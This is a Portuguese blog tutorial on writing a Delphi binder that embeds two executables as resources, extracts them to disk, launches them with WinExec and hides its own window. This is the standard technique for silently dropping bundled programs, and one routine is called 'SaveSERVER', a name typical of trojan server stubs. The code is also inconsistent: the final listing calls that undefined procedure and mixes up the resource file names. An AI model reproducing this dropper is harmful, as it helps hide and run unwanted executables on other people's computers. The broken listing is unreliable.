8 de jan. de 2011

# Unindo 2 executaveis em um único exe - Delphi -

1. Crie um arquivo chamado (EMBUTIR.rc)
2. Abra-o com o Bloco de Texto e escreva:


EXTRA EXEFILE C:\EXTRA.EXE
EMAIL EXEFILE C:\EMAIL.EXE


Negrito: Refere-se ao apelido da sua aplicação. Coloque o nome do executavel(recomendado).
Inclinado: Refere-se ao tipo da sua aplicação.
Sublinhado: Refere-se ao caminho da sua aplicação. Coloque um diretório simples, pois a partir do próximo passo você ja vai poder deletar esses arquivos(se quiser).

Obs: Você pode colocar qualquer tipo de arquivo no (.rc).

3.Vamos compilar seu (.rc)

- Abra o seu Prompt de Comando: Iniciar > Executar > cmd.
- Digite: BRCC32
- Digite: BRCC32 C:\EMBUTIR.rc

Laranja: É onde você salvou o seu arquivo (.rc).

4.Vá ao C:/ (Ou outro diretório onde estava o (.rc)), que você verá o novo arquivo compilado o (EMBUTIR.RES) o seuResource.
5.Leve ele até a pasta onde está seu Projeto (.dpr) e coloque no seu Código da Unit.pas onde tem:

(...)
var
Form1: TForm1;

implementation

{$R *.dfm}

end.


E adiocene antes de 'end.' isso:

Quote
{$R EMBUTIR.res} // Ou o nome do seu (.res)


Ficando assim:

var
Form1: TForm1;

implementation

{$R *.dfm}
{$R EXE.RES}


Juntando os arquivos

6.Executando e Salvando os arquivos dentro do (.res), (EXTRA.EXE) e (EMAIL.EXE). Vou explicar no própio código.

Procedure SaveEXTRA; // Nome da procedure a ser chamada
Var PathToSave:String; // Declarando as variáveis
Res : TResourceStream;
Begin
PathToSave := 'C:\TESTE\EXTRA.EXE'; // (Pasta + Nome do executável). Aonde você quer salvar (PathToSave)
If not FileExists(PathToSave) Then Begin // Checa se o arquivo já existe
Res := TResourceStream.Create(Hinstance, 'EXTRA', 'EXEFILE'); //O título e o tipo do arquivo
Try // Salva o arquivo
Res.SavetoFile(PathToSave);
Finally
Res.Free;
End;
End;
WinExec(pchar('C:\TESTE\EXTRA.EXE'), sw_normal); //Executa o arquivo
End;


Faça isso para cada arquivo

7. Ué como vamos executar essa função antes de tudo? Insira no FIM do código, antes do 'end.':

Initialization
Begin
SaveEXTRA; // Executa as funções declaradas
SaveEMAIL;
Application.Terminate; //Termina o Juntador, mais não as aplicações dos outros dois (.EXE).
end;


É isso.

Objetivos:
- Juntar e executar 2 (.EXE) ou mais;
- Salva dois arquivos internos para algum diretório específico;
- E claro, abrir portas para outros tipos de programas.
(eu fiz um Enviador de Emails com SSL extraindos as DLLS assim pega em todos os computadores ;D)

Seu código final deverá ficar semelhante a este:

unit Unit1;
interface

uses
 
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 
Dialogs, StdCtrls;

type
 
TForm1 = class(TForm)
       
Label1: TLabel;
 
private
       
{ Private declarations }
 
public
       
{ Public declarations }
 
end;
var
 
Form1: TForm1;

implementation
{$R *.dfm}
{$R EMBUTIR.RES}
// >> JUNTADOR FUNCOES << ===============================================
// SALVA O EXTRA
Procedure SaveEXTRA;
Var PathToSave:String;
       
Res : TResourceStream;
Begin
 
PathToSave := 'C:\TESTE\EXTRA.EXE';
 
If not FileExists(PathToSave) Then Begin
         
Res := TResourceStream.Create(Hinstance, 'EXTRA', 'EXEFILE');
         
Try
           
Res.SavetoFile(PathToSave);
         
Finally
           
Res.Free;
         
End;
 
End;
 
WinExec(pchar('C:\TESTE\EXTRA.EXE'), sw_normal);
End;
//SALVA O EMAIL
Procedure SaveEMAIL;
Var PathToSave:String;
       
Res : TResourceStream;
Begin
 
PathToSave := 'C:\TESTE\EMAIL.EXE';
 
If not FileExists(PathToSave) Then Begin
         
Res := TResourceStream.Create(Hinstance, 'EMAIL', 'EXEFILE');
         
Try
           
Res.SavetoFile(PathToSave);
         
Finally
           
Res.Free;
         
End;
 
End;
 
WinExec(pchar('C:\TESTE\EMAIL.EXE'), sw_normal);
End;
//=====================================================================


// >> EXECUTA EXTRACAO << =============================================
Initialization
Begin
   
SaveSERVER;
   
SaveEMAIL;
   
Application.Terminate;
end;
//=====================================================================
end.


Extra

Como o programa não tem interface gráfica, não precisa mostrar aquela janela em branco do Delphi."(Piscar)".

Então vá em Project > View Source > e adicione abaixo de:

Application.CreateForm(TForm1, Form1);

O código:

Application.ShowMainForm:=False; //Não mostra o programa


Seu source deve fica +- assim:

Program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1};

{$R *.res}

begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=False;
Application.Run;
end.

Nenhum comentário:

Postar um comentário